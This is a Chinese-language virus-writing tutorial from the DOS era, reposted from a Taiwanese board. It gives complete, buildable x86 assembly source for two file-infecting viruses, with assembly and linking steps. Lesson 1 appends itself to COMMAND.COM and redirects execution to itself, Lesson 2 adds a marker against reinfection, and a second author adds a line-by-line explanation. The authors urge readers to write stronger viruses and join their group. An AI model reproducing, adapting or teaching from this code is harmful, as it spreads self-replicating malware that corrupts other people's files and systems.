******************************************************************************* * * * 【引言】 * * 本篇文章所含內容,皆是以目前台灣最活躍的電腦病毒作者 Dark Slayer * * 所撰寫並公佈在90網的病毒寫作教學中所轉載的。請體諒他人用心並尊重智 * * 慧財產權。本文章並將隨新課程公佈而更新。 * * * * 【索引】 * * 01a. Lesson-1 如何感染 COM 檔 (Dark Slayer) * * 01b. Lesson-1 如何感染 COM 檔輔助解說 (Hitech Pro) * * 02. Lesson-2 避免重覆感染 * * * ******************************************************************************* =============================================================================== * 01a. Lesson-1 如何感染 COM 檔 (Dark Slayer) * ; ∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼ ; 病毒寫作教學 ; ; 電腦病毒是一種有趣的創作,但是對於一般初學者而言,關於初學病毒的資料真的 ; 是少之又少..就像我剛開始學寫病毒一樣,只能反組譯他人的病毒碼,從中學習 ; 如何寫毒..不僅學習辛苦,效率又差.. ; 由於電腦病毒的資料缺乏,造成學習不易,促使我編寫此文件,其內容由淺入深, ; 每個課程皆有加入新的技巧,學到最後..你已經具備了寫毒的基本能力了..但 ; 是我希望已具備寫毒基本能力的人,能夠更加上進,寫出更精良、更創新的毒,不 ; 要以會寫簡單的小毒就滿足了.. ; ; 力口 三由 口巴 !!! ^_^ ; ; Dark Slayer ; ∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼∼ ; -=-=-=-=-=-=-=-=-=- ; LESSON ONE 如何感染COM檔 ; -=-=-=-=-=-=-=-=-=- ; ; 由於COM檔的結構較EXE檔簡單,所以我們先從如何感染COM檔學起。 ; 底下這個程式只會感染 C:\COMMAND.COM ,是隻非常簡單的毒,好好的學,務必每 ; 個細節都瞭解.. ; 這個程式講的很詳細,這是一開始,以後就不會講那麼詳細了.. ; ; 編譯方法如下: ; 用 TASM LES_1.ASM 或 MASM LES_1.ASM ,,,, ; TLINK /T LES_1.OBJ LINK LES_1.OBJ ,,,, ; EXE2BIN LES_1.EXE LES_1.COM LESSON_1 SEGMENT ASSUME CS:LESSON_1,DS:LESSON_1 ORG 100h START: NOP ; ┐ NOP ; ├> 保留 3 BYTES 的空間 NOP ; ┘ VIR_START: ; 此處才是真正病毒程式的開端 CALL LOCATE ; 可以想成 PUSH IP LOCATE: ; POP SI ; SUB SI,OFFSET LOCATE ; 減掉多餘的值,此時 SI=偏移值 ; 由於此毒是接在檔案後面,而被感染的檔案大小不一,所以病毒接在檔案後的偏移 ; 也會不一定,而會造成變數無法定位,所以我們要得知偏移了多少 ; 下面程式只要牽涉到和記憶體定址有關的部份,都會加上 [SI] 偏移值 MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢復記憶體中,原 MOV DS:[100h],AX ; │ 檔案開頭,被病毒 MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改過的 3 BYTES MOV DS:[100h+2],AL ; ┘ ; 因為此毒第一次執行時,之前並沒有感染過檔案,而要恢復此 3 BYTES 時會蓋到 ; 病毒本身,所以一開始我們加了 3 個 NOP 來空出此空間,VIR_START 才是真正 ; 的病毒碼開始處 MOV AX,3D02h ; 開檔 (讀寫模式) LEA DX,FILE_NAME[SI] ; DS:DX 指向要開的檔名 INT 21h ; 呼叫中斷 ; 開檔成功後,傳回 AX=檔案代碼 (FILE HANDLE) MOV BX,AX ; BX = AX = FILE HANDLE MOV AH,3Fh ; 讀檔案 MOV CX,3 ; 讀取 3 BYTES LEA DX,FIRST_3_BYTE[SI] ; DS:DX 指向放資料的位址 INT 21h ; 呼叫中斷 ; 這個動作是讀取檔案開頭的 3 BYTES 到 FIRST_3_BYTE,保存起來 MOV AX,4202h ; 移動檔案指標 (從檔尾算起) XOR CX,CX ; CX = 0 XOR DX,DX ; DX = 0 ,從檔尾移動 0 BYTES INT 21h ; 呼叫中斷 ; 這個動作是把檔案讀寫指標移到檔尾,而由 DX:AX (DX = HIGH,CX = LOW) 傳回 ; 移動後的指標對於檔頭的距離,所以此時 DX = 0 (COM 檔小於 64K),AX = 檔案 ; 長度 SUB AX,3 ; 計算出 JMP 的偏移值 MOV WORD PTR DS:JMP_BYTE[SI+1],AX ; 保存偏移值 ; 這個動作是計算要從檔頭 JMP 至檔尾 (病毒碼開端) 所需的偏移 MOV AH,40h ; 寫檔案 MOV CX,VIR_SIZE ; CX = 病毒長度 LEA DX,VIR_START[SI] ; DS:DX 指向病毒程式開端 INT 21h ; 呼叫中斷 ; 這個動作是把病毒本體寫入檔案,由於上個動作已經把檔案指標移到檔尾,所以 ; 這次的寫入是從檔尾開始,也就是說把病毒體串接在檔尾 MOV AX,4200h ; 移動檔案指標 (從檔頭算起) XOR CX,CX ; CX = 0 XOR DX,DX ; DX = 0,從檔頭移動 0 BYTES INT 21h ; 呼叫中斷 ; 這個動作是把檔案讀寫指標移到檔頭,以便修改檔頭前 3 BYTES MOV AH,40h ; 寫檔案 MOV CX,3 ; 寫入 3 BYTES LEA DX,JMP_BYTE[SI] ; DS:DX 指向 JMP 的程式碼 INT 21h ; 呼叫中斷 ; 這個動作是把我們原先所記算的 JMP 碼寫到檔頭前 3 BYTES,如此一來程式一執 ; 行就會跳至病毒程式開端 MOV AH,3Eh ; 關檔案 INT 21h ; 呼叫中斷 MOV AX,100h ; AX = 100h (COM 檔一開始執行的位址) PUSH AX ; PUSH 給下個 RET 指令的值 RET ; RET 到 100h ; 因為病毒該做的是都做完了,所以返回 100h 去執行原檔案 FILE_NAME DB 'C:\COMMAND.COM',0 FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程式結束) JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX MSG DB 'This is [LESSON ONE] virus by Dark Slayer' DB ' in Keelung, Taiwan ' VIR_SIZE EQU $-OFFSET VIR_START LESSON_1 ENDS END START =============================================================================== * 01b. Lesson-1 如何感染 COM 檔輔助解說 (Hitech Pro) * =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 病毒寫作教學 Lesson One: 如何感染COM檔 輔助解說 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= 這是配合 Dark Slayer 寫的 [LESSON ONE] virus 整個程式流程的細部解說, 希望能幫助學習病毒寫作的初學者更容易入門;因為這是可愛的 Dark Slayer 弟弟特地為那些想學病毒寫作的人寫的入門第一課,所以我也就犧牲一點點個 人的假期替你們詳細的講解,好好學吧,期待有一天你有自己的優秀作品出現。                Hitech Pro 8/19/1994 Internet E-mail: rfchen@ccms.ntu.edu.tw ---------------------------------------------------------------------------- CALL LOCATE ; 可以想成 PUSH IP LOCATE: ; POP SI ; SUB SI,OFFSET LOCATE ; 減掉多餘的值,此時 SI=偏移值 1.當執行 CALL 指令時, 如果是近程呼叫(near call), 則會把 IP 推入堆疊中, 而 IP 內存的是下一個指令的節內位址(offset address), 在這裡就是 POP SI 所在 的位址, 你可以看到此時 SP 由 FFFEh 變成 FFFCh。 2.若是遠程呼叫(far call), 則會依序將 CS 和 IP 推入堆疊中, 效果同 PUSH CS PUSH IP 3.當你看到 LOCATE: POP SI SUB SI,OFFSET LOCATE 你一定有點困惑, 既然執行 POP SI 之後 SI 內放的就是本身所在的位址, 那 SUB SI,OFFSET LOCATE 不就永遠等於零了嗎? 那用 MOV SI,0 或 XOR SI,SI 不就好了嗎? 這在一般正常的程式的確如此, 問題出在於程式中的偏移值(offset) 在用連結器(Linker)連結時就已經給定了, 所以你用debug觀看感染的COMMAND.COM 檔時, SUB SI,OFFSET LOCATE 就被反組譯成 SUB SI,106h (因為程式由100h開始 執行, 3 個 NOP 佔 3 bytes, CALL LOCATE 佔 3 bytes), 因此我們必須利用類 似上述的方法取得因感染複製所造成的 offset 差異, 在後面有參考到變數的地 方通通要補償回來。 ----------------------------------------------------------------------------- MOV AX,WORD PTR DS:FIRST_3_BYTE[SI] ; ┬> 恢復記憶體中,原 MOV DS:[100h],AX ; │ 檔案開頭,被病毒 MOV AL,DS:FIRST_3_BYTE[SI+2] ; │ 改過的 3 BYTES MOV DS:[100h+2],AL ; ┘ 1.當你執行 LES_1.COM 時, 它會在檔案的開頭前三個bytes放入 int 20h 及一個 未定義的byte, 蓋掉原來的三個 NOP; 當感染了COMMAND.COM之後, 病毒跳回 100h 處執行 int 20h, 程式結束, LES_1.COM 本身沒有改變(因為只對COMMAND.COM開檔 做感染) 2.若你執行被感染的 COMMAND.COM 時, 此段程式會恢復它的前三個 bytes, 蓋掉 JMP xxx (跳到病毒開頭的指令), 這樣病毒結束複製後, COMMAND.COM才能接著繼 續正常的執行(因為我們執行到這裡的當兒已經在病毒碼裡面了, 我們要改的是新 感染檔案的前三 bytes 成 JMP xxx, 在這裡就是 COMMAND.COM 自身的重覆感染, 但是同時我們要恢復在記憶體裡面的COMMAND.COM的前三個 bytes, 這樣才不會發 生錯誤) 下面這段就是病毒複製完後, 跳回檔案正常執行部份的程式碼: MOV AX,100h ; AX = 100h (COM 檔一開始執行的位址) PUSH AX ; PUSH 給下個 RET 指令的值 RET ; RET 到 100h 3.而檔案的前三個 bytes 就是在下列這一段程式碼被儲存到 FIRST_3_BYTE 變數 所指的位址, 注意到加上 SI 的作用是前面所提為了補償因複製後造成 offset 不準所做的修正。 : : MOV BX,AX ; BX = AX = FILE HANDLE MOV AH,3Fh ; 讀檔案 MOV CX,3 ; 讀取 3 BYTES LEA DX,FIRST_3_BYTE[SI] ; DS:DX 指向放資料的位址 INT 21h ; 呼叫中斷 ----------------------------------------------------------------------------- MOV AX,4202h ; 移動檔案指標 (從檔尾算起) XOR CX,CX ; CX = 0 XOR DX,DX ; DX = 0 ,從檔尾移動 0 BYTES INT 21h ; 呼叫中斷 SUB AX,3 ; 計算出 JMP 的偏移值 MOV WORD PTR DS:JMP_BYTE[SI+1],AX ; 保存偏移值 AX 裡面放的是欲感染檔案的長度, 因為之前我們已經將其前三個 bytes 儲存在 FIRST_3_BYTE 變數所指的位址, 在後面這個程式段我們會將其前三個 bytes 改成跳 至附加在原程式之後病毒的開頭的指令(JMP xxx), 那既然這三個 bytes 是跳到病毒 毒開頭的指令, 那就該從原檔案長度中扣掉, 這樣得到的才是正確的偏移值 xxx。 MOV AX,4200h ; 移動檔案指標 (從檔頭算起) XOR CX,CX ; CX = 0 XOR DX,DX ; DX = 0,從檔頭移動 0 BYTES INT 21h ; 呼叫中斷 MOV AH,40h ; 寫檔案 MOV CX,3 ; 寫入 3 BYTES LEA DX,JMP_BYTE[SI] ; DS:DX 指向 JMP 的程式碼 INT 21h ; 呼叫中斷 ----------------------------------------------------------------------------- MOV AH,40h ; 寫檔案 MOV CX,VIR_SIZE ; CX = 病毒長度 LEA DX,VIR_START[SI] ; DS:DX 指向病毒程式開端 INT 21h ; 呼叫中斷 : : VIR_SIZE EQU $-OFFSET VIR_START 這一段將病毒附在被感染檔案之後, 你可能會困惑 VIR_SIZE 是如何算出來的, $ 代表 VIR_SIZE 所在之處的位址, 減去 VIR_START所在之處的位址, 得到的就 是病毒的長度了。 但是之前我不是說過已被感染的檔案其 offset 不準嗎? 那為什麼不必加 SI 呢? 因為若offset不正確, 則所有的變數其位址都要調整, 但之間的相對長度不會變。 ----------------------------------------------------------------------------- FIRST_3_BYTE DB 0CDh,20h,? ; DB 0CDh,20h = INT 20h (程式結束) JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX 這裡要提一下 DB 假指令的使用, 看到 DB 0E9h 就是 near JMP 的運算碼(opcode) 了嗎? 那 DB E8h, 0, 0 是什麼? 在這個病毒裡就是 CALL LOCATE; 這是寫病毒 很常用的技巧, Dark Slayer 他以後應該會在更深入的課程裡做介紹, 這裡就點到 為止。 ---------------------------------------------------------------------------- 這隻教學病毒只會感染 C:\COMMAND.COM, 每當你執行 LES_1.COM 或已被感染的 C:\COMMAND.COM 時, C:\COMMAND.COM 就會把病毒附在其後, 檔案大小每次都會增 加, 但是不會超過 64K 的。 這份文件是輔助用的, 你應該先看 Dark Slayer 在 LES_1.ASM 中的解說, 如果 無法了解, 再從這裡試著找到答案; 祝你有個好的開始! :-) =============================================================================== * 02. Lesson-2 避免重覆感染 * ; virus virus virus virus vir ; i 病 毒 寫 作 教 學 u ; rus virus virus virus virus ; ; 歡迎來到病毒世界,這一系列文件將引領你進入病毒寫作之門。只要你憑著濃 ; 厚的興趣,一步一步的學習我們所講的內容,相信不久的將來,你會成為臺灣 ; 病毒史上的一名大將,也可能成為我們組織的一員.. ; 接下來請親切的跟著我講:「啊.. 厚 ㄎㄧ\ 啦 ..」 ; ; Dark Slayer ; -=-=-=-=-=-=-=-=-=- ; LESSON TWO 避免重覆感染 ; -=-=-=-=-=-=-=-=-=- ; ; 嗨!各位親愛的同學,大家好.. ; 上一課所講的 COM檔感染方法 各位學會了沒?若是還有不瞭解的地方,那還 ; 乖一點,先把上一課所講的學會吧。另外..很感謝病毒奇才 Hitech Pro 幫我 ; 做的補充說明,他講的很好..一些我沒有講到的觀念他都教代的很清楚,所以 ; 他的補充說明也很值得一看。 ; ; 第二課所要講的是如何避免檔案重複感染。第一課所講的毒相當簡單,其主要是 ; 為了示範如何感染,但是你一定發現了你的 COMMAND.COM 一直在長大,如此是很 ; 容易被人發現的,因為檔案一直在長大,磁碟空間也一直在縮小,所以避免重覆 ; 感染是很重要的。要如何避免呢?最簡單的方法就是在被感染過的檔案內作記號 ; ,下次要感染之前先檢查記號是否存在,如果是就不感染,反之則感染之。我們 ; 所採用的方法是..在檔案前 3 BYTES 寫入 JMP XXXX 時,順便加上兩個 2 BYTES ; 的記號。 ; ; 底下就是第二課的毒,除了以第一課的毒為基本架構,加上不重覆感染的程式碼 ; 之外,其它部份也有小小的變動。 MARK_WORD EQU 'DS' ; 此毒的記號,隨便什麼都可以 LESSON_2 SEGMENT ASSUME CS:LESSON_2,DS:LESSON_2 ORG 100h START: NOP ; ┐ NOP ; ├> 保留 5 BYTES 的空間 NOP ; │ NOP ; │ 原來是 3 BYTES,但是加上記號後就成了 5 BYTES NOP ; ┘ VIR_START: ; 此處才是真正病毒程式的開端 CALL LOCATE ; 可以想成 PUSH IP LOCATE: ; POP SI ; SUB SI,OFFSET LOCATE ; 減掉多餘的值,此時 SI=偏移值 ; 由於此毒是接在檔案後面,而被感染的檔案大小不一,所以病毒接在檔案後的偏移 ; 也會不一定,而會造成變數無法定位,所以我們要得知偏移了多少 ; 下面程式只要牽涉到和記憶體定址有關的部份,都會加上 [SI] 偏移值 MOV AX,WORD PTR DS:FIRST_5_BYTE[SI] ; ┐ MOV DS:[100h],AX ; ├> 恢復記憶體中,原 MOV AX,WORD PTR DS:FIRST_5_BYTE[SI+2];│ 檔案開頭,被病毒 MOV DS:[100h+2],AX ; │ 改過的 5 BYTES MOV AL,DS:FIRST_5_BYTE[SI+4] ; │ MOV DS:[100h+4],AL ; ┘ ; 因為此毒第一次執行時,之前並沒有感染過檔案,而要恢復此 5 BYTES 時會蓋到 ; 病毒本身,所以一開始我們加了 5 個 NOP 來空出此空間,VIR_START 才是真正 ; 的病毒碼開始處 MOV AX,3D02h ; 開檔 (讀寫模式) LEA DX,FILE_NAME[SI] ; DS:DX 指向要開的檔名 INT 21h ; 呼叫中斷 ; 開檔成功後,傳回 AX=檔案代碼 (FILE HANDLE) MOV BX,AX ; BX = AX = FILE HANDLE MOV AH,3Fh ; 讀檔案 MOV CX,5 ; 讀取 5 BYTES LEA DX,FIRST_5_BYTE[SI] ; DS:DX 指向放資料的位址 INT 21h ; 呼叫中斷 ; 這個動作是讀取檔案開頭的 5 BYTES 到 FIRST_5_BYTE,保存起來 ; 注意!!!底下的兩行程式就是這一課的精華所在,很簡單吧..^_^ CMP WORD PTR DS:FIRST_5_BYTE[SI+3],MARK_WORD ; 比較將要被感染的檔案前 5 BYTES 內,是否已經有病毒做的記號 JE CLOSE ; 如果有..表示此檔已經感染過,跳至 CLOSE 關 ; 檔,不重覆感染 MOV AX,4202h ; 移動檔案指標 (從檔尾算起) XOR CX,CX ; CX = 0 XOR DX,DX ; DX = 0 ,從檔尾移動 0 BYTES INT 21h ; 呼叫中斷 ; 這個動作是把檔案讀寫指標移到檔尾,而由 DX:AX (DX = HIGH,CX = LOW) 傳回 ; 移動後的指標對於檔頭的距離,所以此時 DX = 0 (COM 檔小於 64K),AX = 檔案 ; 長度 SUB AX,3 ; 計算出 JMP 的偏移值 MOV WORD PTR DS:JMP_BYTE[SI+1],AX ; 保存偏移值 ; 這個動作是計算要從檔頭 JMP 至檔尾 (病毒碼開端) 所需的偏移 MOV AH,40h ; 寫檔案 MOV CX,VIR_SIZE ; CX = 病毒長度 LEA DX,VIR_START[SI] ; DS:DX 指向病毒程式開端 INT 21h ; 呼叫中斷 ; 這個動作是把病毒本體寫入檔案,由於上個動作已經把檔案指標移到檔尾,所以 ; 這次的寫入是從檔尾開始,也就是說把病毒體串接在檔尾 MOV AX,4200h ; 移動檔案指標 (從檔頭算起) XOR CX,CX ; CX = 0 XOR DX,DX ; DX = 0,從檔頭移動 0 BYTES INT 21h ; 呼叫中斷 ; 這個動作是把檔案讀寫指標移到檔頭,以便修改檔頭前 5 BYTES MOV AH,40h ; 寫檔案 MOV CX,5 ; 寫入 5 BYTES LEA DX,JMP_AND_MARK[SI] ; DS:DX 指向 JMP 和 MARK INT 21h ; 呼叫中斷 ; 這個動作是把我們原先所記算的 JMP 碼與病毒記號寫到檔頭前 5 BYTES,如此一 ; 來程式一執行就會跳至病毒程式開端 CLOSE: MOV AH,3Eh ; 關檔案 INT 21h ; 呼叫中斷 MOV AX,100h ; AX = 100h (COM 檔一開始執行的位址) PUSH AX ; PUSH 給下個 RET 指令的值 RET ; RET 到 100h ; 因為病毒該做的是都做完了,所以返回 100h 去執行原檔案 FILE_NAME DB 'C:\COMMAND.COM',0 FIRST_5_BYTE DB 0CDh,20h,?,?,? ; DB 0CDh,20h = INT 20h (程式結束) JMP_AND_MARK LABEL WORD JMP_BYTE DB 0E9h,?,? ; 0E9h,?,? = JMP XXXX MARK DW MARK_WORD ; 病毒的記號 MSG DB 'This is [LESSON TWO] virus by Dark Slayer' DB ' in Keelung, Taiwan ' VIR_SIZE EQU $-OFFSET VIR_START LESSON_2 ENDS END START